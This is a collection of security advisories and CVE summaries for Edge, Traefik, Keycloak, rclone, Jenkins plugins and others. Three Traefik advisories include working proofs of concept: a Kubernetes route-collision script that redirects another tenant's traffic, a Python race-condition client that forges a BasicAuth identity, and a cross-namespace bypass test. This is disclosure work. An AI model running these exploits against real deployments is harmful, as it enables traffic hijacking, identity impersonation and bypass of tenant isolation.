Origin validation error in Microsoft Edge (Chromium-based) allows an unauthorized attacker to perform spoofing over a network.
Use after free in Microsoft Edge (Chromium-based) allows an unauthorized attacker to execute code over a network.
Time-of-check time-of-use (toctou) race condition in Microsoft Edge (Chromium-based) allows an unauthorized attacker to disclose information over a network.
Origin validation error in Microsoft Edge (Chromium-based) allows an unauthorized attacker to perform tampering locally.
Buffer over-read in Microsoft Edge (Chromium-based) allows an authorized attacker to execute code over a network.
Missing authorization in Microsoft Edge (Chromium-based) allows an unauthorized attacker to perform tampering locally.
Improper control of generation of code ('code injection') in Microsoft Edge (Chromium-based) allows an unauthorized attacker to perform spoofing over a network.
Traefik is an HTTP reverse proxy and load balancer. Prior to v2.11.51, v3.6.22, and v3.7.6, Traefik's BasicAuth, DigestAuth, and ForwardAuth middlewares strip canonical-cased spoofed identity headers before writing Traefik's own value, but do not account for underscore-variant header names, which many backends normalize identically to dashed forms. An attacker able to reach a protected route can inject an underscore-variant header that survives Traefik's stripping and reaches the backend alongside, or on the unauthenticated ForwardAuth authResponseHeaders path instead of, the value Traefik intended to set, spoofing identity or authorization context. This issue is fixed in versions v2.11.51, v3.6.22, and v3.7.6.
Traefik versions <= v2.11.51, >= v3.6.0 <= v3.6.22, and >= v3.7.0 <= v3.7.6 contain an authentication bypass via path traversal in the ReplacePathRegex middleware. When ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g. regex "^/api(.*)", replacement "/$1"), the middleware forwards the replaced path to the backend without validating that it matches its normalized form. An unauthenticated remote attacker can send a crafted request (e.g. GET /api../admin) that produces an un-normalized path such as /../admin, which a backend that normalizes paths resolves to a protected route, bypassing authentication middleware. Fixed in v2.11.52, v3.6.23, and v3.7.7.
Traefik versions >= v3.7.0 and <= v3.7.7 contain a path traversal vulnerability in the Kubernetes Ingress NGINX provider's RewriteTarget middleware (generated from the nginx.ingress.kubernetes.io/rewrite-target annotation). When an Ingress path uses a regex that captures attacker-controlled text without requiring a path separator (e.g., path /api(.*) with rewrite target /$1), a crafted request such as /api../admin matches the public router, is rewritten to a dot-segment traversal path (/../admin), and is forwarded without post-replacement normalization validation. A backend that normalizes dot segments resolves the path to a protected endpoint (e.g., /admin) reachable only through a separate router secured with BasicAuth, DigestAuth, or ForwardAuth, resulting in route-level authentication bypass. The issue is fixed in v3.7.8.
Traefik is an open source HTTP reverse proxy and load balancer. From v3.7.0 prior to v3.7.6, Traefik's Kubernetes Gateway API provider may resolve two accepted HTTPRoutes that target the same backend Service:port but configure different backendRef filters to the same child service and apply only one route's filter set to all requests reaching that backend. In Gateway deployments where backendRef filters set security-sensitive headers, such as tenant identity, authorization context, or values the backend trusts, an attacker who can create an accepted HTTPRoute sharing the same backend Service:port may cause their route's filter context to be applied to another route's requests, potentially crossing namespace boundaries when a ReferenceGrant permits cross-namespace targeting. This issue is fixed in version v3.7.6.
## Summary There is a medium severity vulnerability in Traefik's Kubernetes CRD provider. When `providers.kubernetesCRD.allowCrossNamespace` is disabled — the default — cross-namespace `@kubernetescrd` references are rejected for middlewares, TLS options and HTTP/TCP ServersTransports, but the same restriction was not applied to `TraefikService` backend references resolved by the service resolver. A tenant confined by RBAC to a single namespace can therefore bind its own router to a `TraefikService` owned by another namespace and expose or reroute that namespace's backend, defeating the namespace isolation `allowCrossNamespace=false` is meant to enforce. Traefik v2 releases and the unmaintained v3 minor lines below v3.6 are affected and will not receive a patch on their own line; the remedy for those users is upgrading to a maintained, patched release. ## Patches - https://github.com/traefik/traefik/releases/tag/v2.11.54 - https://github.com/traefik/traefik/releases/tag/v3.6.25 - https://github.com/traefik/traefik/releases/tag/v3.7.10 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary When `providers.kubernetesCRD.allowCrossNamespace=false` (the default), Traefik correctly rejects cross-namespace `@kubernetescrd` references for middlewares, TLS options, and HTTP/TCP `ServersTransport`, but it does not apply the same restriction to service (`TraefikService`) backendRefs. As a result, a Kubernetes tenant who is confined by RBAC to their own namespace can bind their own router to a `TraefikService` owned by another namespace simply by referencing it as `<victim-namespace>-<name>@kubernetescrd`, defeating the namespace-isolation boundary that `allowCrossNamespace=false` is meant to enforce. This is the service-resolver sibling of the cross-namespace isolation family that Traefik has been fixing one resolver at a time (`df00d82f` / CVE-2026-41174 for Chain middlewares, and `67501cbe` for TCP `ServersTransport`, which shipped in v3.7.7 only four days before the analyzed commit). The `TraefikService` resolver in `configBuilder.nameAndService` was never given the guard its sibling resolvers received. ### Details ### Root cause `nameAndService` only performs the same-namespace check (`isNamespaceAllowed`) inside the branch that handles names without an `@` separator. For names that contain an `@` separator (that is, `@kubernetescrd` cross-namespace references) it applies only the `crossProviderNamespaces` allowlist check, and that check returns `true` by default because a `nil` allowlist means "unrestricted". It never applies the `!allowCrossNamespace && strings.HasSuffix(name, "@kubernetescrd")` rejection that the sibling resolvers all apply, so `allowCrossNamespace=false` is effectively never consulted for `@kubernetescrd` service references. ### Vulnerable code ```go // pkg/provider/kubernetes/crd/kubernetes_http.go:662-695 — nameAndService (VULNERABLE) func (c configBuilder) nameAndService(ctx context.Context, parentNamespace string, service traefikv1alpha1.LoadBalancerSpec) (string, *dynamic.Service, error) { svcCtx := log.Ctx(ctx).With().Str(logs.ServiceName, service.Name).Logger().WithContext(ctx) if !strings.Contains(service.Name, providerNamespaceSeparator) { // 665: only names WITHOUT "@" service = *service.DeepCopy() service.Namespace = namespaceOrParentNamespace(service.Namespace, parentNamespace) if !isNamespaceAllowed(c.allowCrossNamespace, parentNamespace, service.Namespace) { // 669 return "", nil, fmt.Errorf("service %s/%s not in the parent resource namespace %s", ...) } } // 674: for "@"-names, the ONLY gate is crossProviderNamespaces, which defaults to allow-all (nil). if !isCrossProviderNamespaceAllowed(c.crossProviderNamespaces, parentNamespace) && strings.Contains(service.Name, providerNamespaceSeparator) { return "", nil, fmt.Errorf("service %q reference is not allowed: ...", service.Name) } // ^-- MISSING: no `!c.allowCrossNamespace && strings.HasSuffix(service.Name, "@"+ProviderName)` rejection. switch service.Kind { case "TraefikService": return fullServiceName(svcCtx, service, intstr.FromInt(0)), nil, nil // 690: returns the cross-namespace reference ... } } ``` For comparison, the sibling resolver used for middleware and TLS references does carry the guard: ```go // pkg/provider/kubernetes/crd/kubernetes.go:1653-1668 — resolveReference (CORRECT) func resolveReference(ctx context.Context, parentNs, ns, name string, crossProviderNamespaces []string, allowCrossNamespace bool) (string, error) { if strings.Contains(name, providerNamespaceSeparator) { if !allowCrossNamespace && strings.HasSuffix(name, providerNamespaceSeparator+ProviderName) { return "", errors.New("when allowCrossNamespace is disabled, @kubernetescrd references are disallowed") // 1656 — THE GUARD } ... } ... } ``` The same guard is also present at `pkg/provider/kubernetes/crd/kubernetes_http.go:500` (`makeServersTransportKey`, HTTP) and `pkg/provider/kubernetes/crd/kubernetes_tcp.go:316` (`makeTCPServersTransportKey`, TCP, added by commit `67501cbe`). Only the service resolver `nameAndService` lacks it. ### Data flow An `IngressRoute` created by a tenant in namespace `attacker` declares a route service `{ name: "victim-backend@kubernetescrd", kind: TraefikService }`; the tenant controls this reference string. In `nameAndService`, because the name contains `@`, the same-namespace check at line 669 is skipped, and `isCrossProviderNamespaceAllowed(nil, "attacker")` returns `true` under the default `nil` allowlist, so no rejection fires. `fullServiceName` then resolves the reference to the victim namespace's `TraefikService`, and the attacker's HTTP router is generated and bound to the victim's backend. At runtime the attacker's `Host(...)` route forwards to namespace `victim`'s backend pods. ### Default reachability `AllowCrossNamespace` defaults to `false` (`pkg/provider/kubernetes/crd/kubernetes.go:57`, never set to `true` by any `SetDefaults`), so the isolation this bug bypasses is on by default. `CrossProviderNamespaces` defaults to `nil`, and `isCrossProviderNamespaceAllowed` returns `true` for a `nil` allowlist (`pkg/provider/kubernetes/crd/kubernetes.go:1645-1651`), so the only check `nameAndService` applies to an `@`-name is inert by default. The attacker needs only namespace-scoped RBAC to create an `IngressRoute` or `TraefikService` in their own namespace (the standard hard-multi-tenant Traefik setup) and knowledge of the target `TraefikService`'s namespace and name. ### PoC A table-style harness was added to the CRD provider package. It defines a victim `TraefikService` (`backend` in namespace `victim`, backed by a real endpoint) and an attacker `IngressRoute` (namespace `attacker`) that references it via `victim-backend@kubernetescrd`, plus a control route that references a victim `Middleware` via `victim-mw@kubernetescrd`. The control route is given a valid local service so that the only reason it could be dropped is the cross-namespace middleware guard. The provider is run with `AllowCrossNamespace: false` and `CrossProviderNamespaces: nil` (both defaults). ``` $ go test -run TestPoC_CrossNamespaceServiceBypass ./pkg/provider/kubernetes/crd/ -v HTTP routers: [attacker-attacker-svc-route-7df4381938699bd21215] HTTP services: [victim-whoami-victim-80 victim-backend] CONTROL OK: cross-ns MIDDLEWARE ref (victim-mw@kubernetescrd) rejected -> router dropped BYPASS CONFIRMED: attacker router bound to cross-ns service "victim-backend" despite AllowCrossNamespace=false ``` The control route (middleware reference) is dropped even though it has a valid local service, confirming that the isolation control is active for middlewares; the service route survives and its `Service` field resolves to `victim-backend`, with the victim's services pulled into the generated configuration and reachable through the attacker's router. The harness also runs two corroborating cases. With `AllowCrossNamespace=false` and `CrossProviderNamespaces=["someotherns"]` (an allowlist that excludes the attacker), the service reference is blocked, which proves that the only gate ever applied to an `@kubernetescrd` service name is `crossProviderNamespaces` (inert by default) and that `allowCrossNamespace=false` is never consulted. With `AllowCrossNamespace=true`, both the service and middleware references are accepted, as expected when isolation is intentionally disabled. ### Impact In a multi-tenant cluster relying on `allowCrossNamespace=false` for namespace isolation, a tenant confined to their own namespace can attach their own router (their own `Host` rule and entrypoint) to another tenant's `TraefikService` backend, exposing an otherwise internal-only service on the data plane under the attacker's hostname, and can route or mirror traffic to another namespace's backend that they should not be able to reference. </details> ---
Traefik is an HTTP reverse proxy and load balancer. Prior to v2.11.51, v3.6.22, and v3.7.6, Traefik's ForwardAuth middleware, even when configured with trustForwardHeader: false, derives the X-Forwarded-Port header sent to the authentication service from the original incoming request instead of the sanitized forwarded request. As a result, an unauthenticated remote attacker can inject an X-Forwarded-Proto: https header over a plain HTTP connection and cause Traefik to forward X-Forwarded-Port: 443 to the authentication service, bypassing port-based authorization checks. This issue is fixed in versions v2.11.51, v3.6.22, and v3.7.6.
## Summary There is a high severity vulnerability in Traefik's Kubernetes Gateway API provider. Router and service identities for `HTTPRoute`, `GRPCRoute`, `TCPRoute` and `TLSRoute` objects were built by hyphen-concatenating the route namespace, the route name, the Gateway identity, the entry point and the rule index, a construction that is not injective because Kubernetes names may themselves contain hyphens. Two distinct Routes attached to the same Gateway with equivalent match rules can therefore produce the same identity, and the Route loaded later silently overwrites the earlier one, so a tenant able to create an accepted Route in a colliding namespace/name combination can redirect another namespace's traffic to a backend it controls. All Traefik v3 minor lines are affected; the lines older than v3.6 are no longer maintained and will not receive a patch of their own, so users running them should upgrade to a maintained, patched release. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.6.25 - https://github.com/traefik/traefik/releases/tag/v3.7.10 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ## Summary Traefik's Kubernetes Gateway provider constructs internal HTTPRoute and GRPCRoute identities by concatenating namespace, route name, Gateway identity, entrypoint, and rule index with hyphens. Kubernetes names may themselves contain hyphens, so the construction is not injective. For example, HTTPRoutes `team/a-app` and `team-a/app`, attached to the same Gateway with the same match rule, produce identical router and service keys. During configuration merging, the route loaded later overwrites the earlier route's maps. A tenant that can create an accepted Route in a colliding namespace/name combination can therefore redirect another namespace's traffic to an attacker-controlled backend. The official v3.7.8 binary was reproduced returning the victim backend before the second Route was created and the attacker backend immediately afterward. The victim Route had the earlier creation timestamp and should win the equivalent-match conflict under Gateway API precedence rules. ## Details The HTTPRoute provider creates a route key as follows: ```go routeKey := provider.Normalize(fmt.Sprintf( "%s-%s-%s-gw-%s-%s-ep-%s-%d", strings.ToLower(kindHTTPRoute), route.Namespace, route.Name, gatewayNamespace, gatewayName, listener.EPName, ri, )) ``` `Normalize` replaces non-alphanumeric runs with `-`, but it does not encode field lengths or otherwise preserve component boundaries: ```go func Normalize(name string) string { fargs := func(c rune) bool { return !unicode.IsLetter(c) && !unicode.IsNumber(c) } return strings.Join(strings.FieldsFunc(name, fargs), "-") } ``` These distinct objects therefore have the same normalized key: ```text namespace=team, route=a-app namespace=team-a, route=app httproute-team-a-app-gw-gateway-shared-ep-web-0 ``` `makeRouterName` adds a hash of the routing rule. When the attacker copies the victim's hostname and path, that hash is also identical. Child service and middleware names are derived from the same parent identity. Each Route is built into a temporary configuration and then merged into the provider-wide configuration with `maps.Copy`: ```go maps.Copy(to.HTTP.Routers, from.HTTP.Routers) maps.Copy(to.HTTP.Middlewares, from.HTTP.Middlewares) maps.Copy(to.HTTP.Services, from.HTTP.Services) maps.Copy(to.HTTP.ServersTransports, from.HTTP.ServersTransports) ``` `maps.Copy` replaces an existing value for a duplicate key. No collision is reported, and the resulting router points to the later Route's backend. The GRPCRoute implementation uses the same delimiter-free route-key format and the same HTTP configuration merge path. ### Attack prerequisites The attacker needs permission to create or modify an HTTPRoute or GRPCRoute that the shared Gateway accepts. Exploitation also requires namespace and Route names whose concatenation collides with a victim. The attacker does not need permission to read or modify the victim Route, Service, or namespace. ## Proof of Concept Prerequisites: - a disposable Kubernetes cluster with Gateway API v1.5.1 experimental CRDs; - `kubectl` configured for that cluster; - curl; - local TCP port 18080 available. The following script embeds all objects used by the reproduction. It runs the official `traefik:v3.7.8` image, creates the victim Route first, verifies the victim backend, then creates the colliding attacker Route and repeats the request. ```bash #!/usr/bin/env bash set -euo pipefail kubectl apply -f - <<'YAML' apiVersion: v1 kind: Namespace metadata: name: gateway --- apiVersion: v1 kind: Namespace metadata: name: team --- apiVersion: v1 kind: Namespace metadata: name: team-a --- apiVersion: v1 kind: ServiceAccount metadata: name: traefik-audit namespace: gateway --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: traefik-route-collision-lab roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cluster-admin subjects: - kind: ServiceAccount name: traefik-audit namespace: gateway --- apiVersion: apps/v1 kind: Deployment metadata: name: traefik-audit namespace: gateway spec: replicas: 1 selector: matchLabels: app: traefik-audit template: metadata: labels: app: traefik-audit spec: serviceAccountName: traefik-audit containers: - name: traefik image: traefik:v3.7.8 args: - --entryPoints.web.address=:8000 - --providers.kubernetesgateway=true - --global.checkNewVersion=false - --global.sendAnonymousUsage=false - --log.level=ERROR ports: - name: web containerPort: 8000 --- apiVersion: gateway.networking.k8s.io/v1 kind: GatewayClass metadata: name: traefik-route-collision-lab spec: controllerName: traefik.io/gateway-controller --- apiVersion: gateway.networking.k8s.io/v1 kind: Gateway metadata: name: shared namespace: gateway spec: gatewayClassName: traefik-route-collision-lab listeners: - name: web protocol: HTTP port: 8000 allowedRoutes: namespaces: from: All --- apiVersion: apps/v1 kind: Deployment metadata: name: victim namespace: team spec: replicas: 1 selector: matchLabels: app: victim template: metadata: labels: app: victim spec: containers: - name: echo image: hashicorp/http-echo:1.0.0 args: ["-listen=:5678", "-text=VICTIM_BACKEND"] ports: - containerPort: 5678 --- apiVersion: v1 kind: Service metadata: name: backend namespace: team spec: selector: app: victim ports: - port: 80 targetPort: 5678 --- apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: a-app namespace: team spec: parentRefs: - name: shared namespace: gateway hostnames: ["collision.example"] rules: - matches: - path: type: PathPrefix value: / backendRefs: - name: backend port: 80 YAML kubectl -n gateway rollout status deployment/traefik-audit --timeout=120s kubectl -n team rollout status deployment/victim --timeout=120s kubectl -n gateway port-forward deployment/traefik-audit 18080:8000 \ >/dev/null 2>&1 & PORT_FORWARD_PID=$! trap 'kill "$PORT_FORWARD_PID" 2>/dev/null || true' EXIT for _ in $(seq 1 60); do RESPONSE=$(curl -sS -H 'Host: collision.example' \ http://127.0.0.1:18080/ 2>/dev/null || true) if [ "$RESPONSE" = "VICTIM_BACKEND" ]; then break fi sleep 1 done printf 'before collision: %s\n' "$RESPONSE" sleep 2 kubectl apply -f - <<'YAML' apiVersion: apps/v1 kind: Deployment metadata: name: attacker namespace: team-a spec: replicas: 1 selector: matchLabels: app: attacker template: metadata: labels: app: attacker spec: containers: - name: echo image: hashicorp/http-echo:1.0.0 args: ["-listen=:5678", "-text=ATTACKER_BACKEND"] ports: - containerPort: 5678 --- apiVersion: v1 kind: Service metadata: name: backend namespace: team-a spec: selector: app: attacker ports: - port: 80 targetPort: 5678 YAML kubectl -n team-a rollout status deployment/attacker --timeout=120s kubectl apply -f - <<'YAML' apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: app namespace: team-a spec: parentRefs: - name: shared namespace: gateway hostnames: ["collision.example"] rules: - matches: - path: type: PathPrefix value: / backendRefs: - name: backend port: 80 YAML for _ in $(seq 1 60); do RESPONSE=$(curl -sS -H 'Host: collision.example' \ http://127.0.0.1:18080/ 2>/dev/null || true) if [ "$RESPONSE" = "ATTACKER_BACKEND" ]; then break fi sleep 1 done printf 'after collision: %s\n' "$RESPONSE" kubectl get httproute -A --sort-by=.metadata.creationTimestamp ``` Expected output on v3.7.8: ```text before collision: VICTIM_BACKEND after collision: ATTACKER_BACKEND NAMESPACE NAME HOSTNAMES team a-app ["collision.example"] team-a app ["collision.example"] ``` The first Route is older, but creating the second Route changes existing victim traffic to the attacker backend. The same test was also run with the official standalone v3.7.8 Linux amd64 binary inside an isolated k3s cluster. The release archive had SHA-256 `dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7`. ## Impact In a shared Gateway deployment, a Route author can hijack requests belonging to another namespace when the object names admit a collision. Requests, credentials, authorization headers, and response data can be delivered to an attacker-controlled backend. The attacker can also return forged application content or accept state-changing requests intended for the victim. The favorable naming relationship and accepted shared Gateway are reflected in the high attack-complexity rating. </details> ---
## Summary There is a low severity vulnerability in Traefik's BasicAuth middleware. Concurrent password verifications are deduplicated through a singleflight group whose key was the delimiter-free concatenation of the submitted password and the stored secret, so a request carrying an unconfigured username — whose secret is empty — can produce the same key as a configured user's valid request and receive that request's successful result. Exploitation requires the attacker to already hold a valid credential **and** to read the stored password hash, which is only reachable through paths that are themselves privileged: the API is documented as admin-only, the Kubernetes path requires read access to the Secret, and the Docker path requires access to the socket. The key now encodes the password length as a prefix, so distinct (password, secret) pairs can no longer collide. Only the v3.6 line from v3.6.11 onwards and the v3.7 line are affected; earlier v3 releases and the v2 line do not carry the vulnerable deduplication path. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.6.25 - https://github.com/traefik/traefik/releases/tag/v3.7.10 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ## Summary Traefik's BasicAuth middleware deduplicates concurrent password checks with a `singleflight.Group`. Its key is the delimiter-free concatenation `password + secret`. For an existing user with password `P` and stored hash `H`, the key is `P || H`. An unknown user can select the password `P || H`; because its secret is the empty string, its key is also `P || H`. If the existing user's request starts the shared calculation, the unknown user receives the existing user's successful Boolean result. Traefik then continues processing the unknown user's original request and propagates the attacker-selected username through `URL.User`, the access log, and the configured BasicAuth `headerField`. A user who knows one valid username/password/hash tuple can therefore authenticate concurrently under any unconfigured username. This becomes a privilege escalation when a backend uses the BasicAuth `headerField` as a trusted identity, which is the documented purpose of that option. ## Details The vulnerable logic is in `pkg/middlewares/auth/basic_auth.go:118-131`: ```go func (b *basicAuth) checkPassword(user, password string) bool { secret := b.auth.Secrets(user, b.auth.Realm) key := password + secret match, _, _ := b.singleflightGroup.Do(key, func() (any, error) { if secret == "" { _ = b.checkSecret(password, b.notFoundSecret) return false, nil } return b.checkSecret(password, secret), nil }) return match.(bool) } ``` For a configured user `viewer`: ```text password = P secret = H key = P || H result = true ``` For an unconfigured user `admin`: ```text password = P || H secret = "" key = (P || H) || "" = P || H ``` `singleflight.Group.Do` shares the first in-flight result for equal keys. If the configured user's check is first, the unknown user's closure is not run and the unknown request receives `true`. The authorization result is not bound to the username. After the shared result is accepted, `ServeHTTP` uses the username parsed from the unknown request: ```go req.URL.User = url.User(user) if b.headerField != "" { req.Header.Del(b.headerField) req.Header[b.headerField] = []string{user} } ``` Consequently, the backend sees the attacker-selected `admin` identity, not the valid request's `viewer` identity. ### Attack prerequisites The attacker needs: 1. network access to a route protected by the affected BasicAuth middleware; 2. one valid low-privilege username and password; 3. the corresponding stored password hash. The hash is often present in deployment labels or routing configuration. Traefik's API is also a direct source when the attacker can access it: `GET /api/http/middlewares/{id}` serializes `basicAuth.users`, including the hash, despite the field carrying `loggable:"false"`. The official v3.7.8 binary returned the hash in the validation environment. The attacker does not need another user's password or a victim-generated request. The attacker creates both concurrent requests: one with their valid credentials and one with an arbitrary, unconfigured target username. ### Security impact When `headerField` is configured, an authenticated low-privilege user can impersonate an arbitrary identity to the backend. Depending on downstream authorization, this can allow: - access to administrative data; - execution of privileged state-changing operations; - corruption of audit attribution; - bypass of identity-based tenant or role separation. Without `headerField`, the unknown request is still admitted through the BasicAuth middleware. The practical consequence then depends on whether the protected route treats all authenticated users equally. ## Proof of Concept ### Validation environment - Official Traefik v3.7.8 Linux amd64 release. - Build timestamp: `2026-07-15T12:42:25Z`. - Go version in the release: `go1.26.5`. - Archive SHA-256: `dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7`. - The checksum matched the official `traefik_v3.7.8_checksums.txt` release asset. - No Traefik source files were modified. ### Dynamic configuration The bcrypt hash below is for password `test` and uses cost 12: ```yaml http: routers: app: entryPoints: - web rule: PathPrefix(`/`) middlewares: - auth service: backend middlewares: auth: basicAuth: headerField: X-WebAuth-User removeHeader: true users: - 'viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.' services: backend: loadBalancer: servers: - url: http://127.0.0.1:19090 ``` Save it as `dynamic.yml`. Use this install configuration as `static.yml`: ```yaml global: checkNewVersion: false sendAnonymousUsage: false api: insecure: true entryPoints: web: address: 127.0.0.1:18080 providers: file: filename: /absolute/path/to/dynamic.yml watch: false ``` The API is enabled only to demonstrate that the runtime representation exposes the configured hash. It is not needed if the tester already knows the hash from the configuration. Use this backend as `backend.py`; it responds with the identity Traefik puts in the trusted header: ```python from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer class Handler(BaseHTTPRequestHandler): def do_GET(self): body = (self.headers.get("X-WebAuth-User", "") + "\n").encode() self.send_response(200) self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) def log_message(self, *args): pass ThreadingHTTPServer(("127.0.0.1", 19090), Handler).serve_forever() ``` Start the backend and Traefik in separate shells. Shell 1: ```bash python3 backend.py ``` Shell 2: ```bash ./traefik --configFile=/absolute/path/to/static.yml ``` ### Exploit client ```python import base64 import http.client import json import threading import time import urllib.request HOST = "127.0.0.1" PORT = 18080 PASSWORD = "test" HASH = "$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u." def request(user, password): conn = http.client.HTTPConnection(HOST, PORT, timeout=5) token = base64.b64encode(f"{user}:{password}".encode()).decode() conn.request("GET", "/", headers={"Authorization": f"Basic {token}"}) response = conn.getresponse() body = response.read().decode().strip() status = response.status conn.close() return status, body middleware = json.load( urllib.request.urlopen( "http://127.0.0.1:8080/api/http/middlewares/auth%40file" ) ) print("api_users", middleware["basicAuth"]["users"]) print("valid_baseline", request("viewer", PASSWORD)) print("attacker_baseline", request("admin", PASSWORD + HASH)) wins = 0 for _ in range(25): valid_result = {} valid = threading.Thread( target=lambda: valid_result.setdefault( "result", request("viewer", PASSWORD) ) ) valid.start() time.sleep(0.005) attack = request("admin", PASSWORD + HASH) valid.join() if attack == (200, "admin"): wins += 1 print("forged_admin_successes", wins, "of", 25) ``` ### Observed output ```text api_users ['viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.'] valid_baseline (200, 'viewer') attacker_baseline (401, '401 Unauthorized') forged_admin_successes 25 of 25 ``` The negative control proves that `admin` is not configured and cannot authenticate alone. During the collision, all 25 requests were admitted and the backend received the forged identity `admin`. The same behavior was first reproduced with Apache MD5. Its much shorter hash calculation window yielded 2 successful identity forgeries in 100 attempts. Using normal production-strength bcrypt made the race deterministic in this environment because the expensive comparison remains in flight long enough for the second request to join it. ## Impact An attacker with read access to a configured password hash and the ability to send concurrent requests can authenticate as an unconfigured username. When `headerField` is enabled, the attacker-selected username is forwarded to the backend as a trusted authenticated identity, enabling privilege impersonation, unauthorized data access, unauthorized actions, and incorrect security audit attribution. Without `headerField`, the request still bypasses BasicAuth and reaches the protected service. </details> ---
A flaw was found in the keycloak-services component of Keycloak. This issue is an incomplete fix for CVE-2026-9798, where brute-force protection checks were added to the Client-Initiated Backchannel Authentication (CIBA) initiation handler but were omitted from the token redemption handler. This allows an attacker with valid client credentials to obtain access and refresh tokens for a user account that has been locked due to brute-force protection, provided the authentication request was started before the lockout occurred and was approved by the user.
A flaw was found in the authentication configuration endpoint of the keycloak-services component, which is the core engine for Red Hat Build of Keycloak identity and access management. The issue occurs because the system fails to mask sensitive configuration values, such as reCAPTCHA secret keys, when they are requested by administrators with view-only permissions. This can lead to the exposure of third-party service credentials to unauthorized personnel or through administrative logs.
A flaw was found in the admin REST API of Keycloak, a solution for identity and access management. The issue occurs when a delegated administrator attempts to remove a child role from a composite role. Due to missing authorization checks, an attacker with limited administrative permissions can remove privileged roles they are not authorized to manage, leading to a loss of access for other users and administrators.
A flaw was found in the default-groups REST endpoint and realm representation of Keycloak. This component is responsible for managing groups that are automatically assigned to new users within a realm. The issue allows a delegated administrator with realm-viewing permissions to see the names and identifiers of hidden default groups, even if they lack the specific permissions to view those groups. This can lead to the exposure of sensitive organizational structures or internal group names.
websocket-driver is a WebSocket protocol handler with pluggable I/O. Prior to 0.8.1, draft versions of the WebSocket protocol in websocket-driver include a length header that allows an arbitrarily large integer to be encoded as bytes with the high bit set, and a server or client can send an indefinite sequence of 0x80 or higher bytes that the peer parses into an ever-growing Ruby integer. This can make a WebSocket connection consume an unbounded amount of memory and lead to the host process running out of memory. This issue is fixed in version 0.8.1.
Nuxt is an open-source web development framework for Vue.js. From 3.1.0 until 3.21.10 and 4.5.1, an attacker can supply a top-level `as` prop to the /__nuxt_island/ endpoint and drive dynamic component resolution through <component :is>, resolveDynamicComponent, or h(). This issue is fixed in 3.21.10 and 4.5.1.
rclone is a command-line program to sync files and directories to and from different cloud storage providers. From v1.51.0 until v1.75.0, the local backend in backend/local/local.go relies on the configurable filename encoder to prevent remote filename data from becoming operating-system path syntax, so a local destination using Slash, None, Raw, or on Windows an encoding that preserves backslash can decode a standard-encoded fullwidth dot-dot component or native backslash form into an actual parent-directory component before filepath.Join resolves it outside the configured local root, allowing an attacker-controlled source object to create or overwrite files outside the selected destination directory as the rclone process. This issue is fixed in v1.75.0.
rclone is a command-line program to sync files and directories to and from different cloud storage providers. Prior to v1.75.0, rclone interpolates remote SFTP paths into PowerShell hash commands in backend/sftp/sftp.go, and quoteOrEscapeShellPath escapes only ASCII apostrophe even though PowerShell treats U+2018, U+2019, U+201A, and U+201B as single-quote delimiters, allowing an attacker-controlled filename to terminate the intended path literal and append PowerShell statements that execute as the victim SSH account when server-side hashing is invoked. This issue is fixed in v1.75.0.
LightFTP through 2.4 contains multiple data race vulnerabilities in ftpserv.c that allow anonymous attackers to cause undefined behavior by issuing LIST followed by ABOR commands without authentication. The control thread closes data_socket and file_fd descriptors while worker threads concurrently operate on the same fields in worker_thread_cleanup, allowing stale file descriptors to be reassigned by the OS and subsequently used by worker threads on unrelated resources, resulting in potential denial of service.
Missing permission checks in Jenkins Sauce OnDemand Plugin 2.2.0 and earlier allow attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins.
A missing permission check in Jenkins Parameterized Remote Trigger Plugin 3.2.2 and earlier allows attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins.
Jenkins Webhook Secret Credentials Provider Plugin 16.v0cfa_f0215cf5 and earlier does not use a constant-time comparison function when checking whether the provided and expected webhook bearer token are equal, potentially allowing attackers to use statistical methods to obtain a valid webhook bearer token.
Jenkins External Workspace Manager Plugin 1.4.1 and earlier does not perform a permission check (1.4.0 and earlier) or performs an improper permission check (1.4.1) when providing access to externally-managed workspaces through the workspace browser, allowing attackers with Overall/Read permission to read files in workspaces they are not authorized to access.
A missing permission check in Jenkins SCM-Manager Plugin 1.11.1 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.
A cross-site request forgery (CSRF) vulnerability in Jenkins SCM-Manager Plugin 1.11.1 and earlier allows attackers to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.
Missing permission checks in Jenkins HCL AppScan Plugin 1.8.3 and earlier allow attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins.
Jenkins 2.575 and earlier, LTS 2.568.1 and earlier does not restrict the types of objects that can be instantiated as part of the project naming strategy configuration, allowing attackers with Overall/Manage permission to instantiate arbitrary types related to configuration, including those intended for configuration only by administrators.
Jenkins 2.575 and earlier, LTS 2.568.1 and earlier handles case-insensitivity in user names and group names inconsistently, allowing attackers able to create new users or groups with names that case-insensitively match other characters to impersonate other users or be granted their permissions in some circumstances.
